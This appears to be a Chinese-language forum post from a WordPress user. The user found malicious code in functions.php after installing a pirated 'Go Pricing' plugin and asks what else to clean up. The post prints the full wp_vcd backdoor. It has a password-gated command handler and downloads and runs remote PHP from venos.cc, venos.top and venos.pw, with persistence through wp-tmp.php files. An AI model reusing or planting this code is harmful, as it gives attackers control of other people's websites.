今天工作时,我试着安装Go Pricing 此网站的插件。
https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/
第一次没有成功,然后我试了好几次,但都没有结果。过了一段时间,我的网站一片空白。我搜索了Xampp错误,试图从数据库中停用插件(我无法访问admin或frontend)
最后,我在function.php
这是我必须担心的事吗?在我的WordPress上还有什么地方可以找到这个代码吗?
现在,我已从中删除此代码function.php 网站运行良好,但我担心如果我的密码和其他东西上传到某处。
有什么我必须删除的吗?
if (isset($_REQUEST[\'action\']) && isset($_REQUEST[\'password\']) && ($_REQUEST[\'password\'] == \'b08494ffce10b7c547993599bd7deb9e\'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST[\'action\'])
{
case \'change_domain\';
if (isset($_REQUEST[\'newdomain\']))
{
if (!empty($_REQUEST[\'newdomain\']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(\'/\\$tmpcontent = @file_get_contents\\("http:\\/\\/(.*)\\/code\\.php/i\',$file,$matcholddomain))
{
$file = preg_replace(\'/\'.$matcholddomain[1][0].\'/i\',$_REQUEST[\'newdomain\'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
case \'change_code\';
if (isset($_REQUEST[\'newcode\']))
{
if (!empty($_REQUEST[\'newcode\']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(\'/\\/\\/\\$start_wp_theme_tmp([\\s\\S]*)\\/\\/\\$end_wp_theme_tmp/i\',$file,$matcholdcode))
{
$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST[\'newcode\']), $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default:
print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
$div_code_name = "wp_vcd";
$funcfile = __FILE__;
if(!function_exists(\'theme_temp_setup\')) {
$path = $_SERVER[\'HTTP_HOST\'] . $_SERVER[REQUEST_URI];
if (stripos($_SERVER[\'REQUEST_URI\'], \'wp-cron.php\') == false && stripos($_SERVER[\'REQUEST_URI\'], \'xmlrpc.php\') == false) {
function file_get_contents_tcurl($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
$wp_auth_key=\'322f4f8d2d11134e9bedae0c97257b9d\';
if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);
if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
@file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
@file_put_contents(\'wp-tmp.php\', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . \'wp-includes/wp-tmp.php\', $tmpcontent);
if (!file_exists(ABSPATH . \'wp-includes/wp-tmp.php\')) {
@file_put_contents(get_template_directory() . \'/wp-tmp.php\', $tmpcontent);
if (!file_exists(get_template_directory() . \'/wp-tmp.php\')) {
@file_put_contents(\'wp-tmp.php\', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . \'wp-includes/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . \'/wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(\'wp-tmp.php\') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
}
}
//$start_wp_theme_tmp
//wp_tmp
//$end_wp_theme_tmp